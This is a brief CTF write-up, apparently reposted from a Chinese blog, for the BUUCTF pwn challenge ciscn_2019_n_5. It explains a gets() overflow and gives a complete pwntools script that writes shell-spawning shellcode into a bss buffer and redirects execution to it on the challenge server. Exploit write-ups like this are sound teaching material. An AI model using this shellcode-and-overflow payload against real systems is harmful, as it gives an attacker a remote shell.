Buuctf(pwn) ciscn_2019_n_5

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现name在全局变量bss段上

可以利用 gets() 进行溢出

from pwn import*
r=remote('node3.buuoj.cn',27785)
context(arch='amd64',os='linux')   说明版本架构
shellcode=asm(shellcraft.sh())     获取生成调用  bin/sh的 shellcode
r.sendlineafter('tell me your name',shellcode)   往name里面写入shellcode
payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)
r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/115317208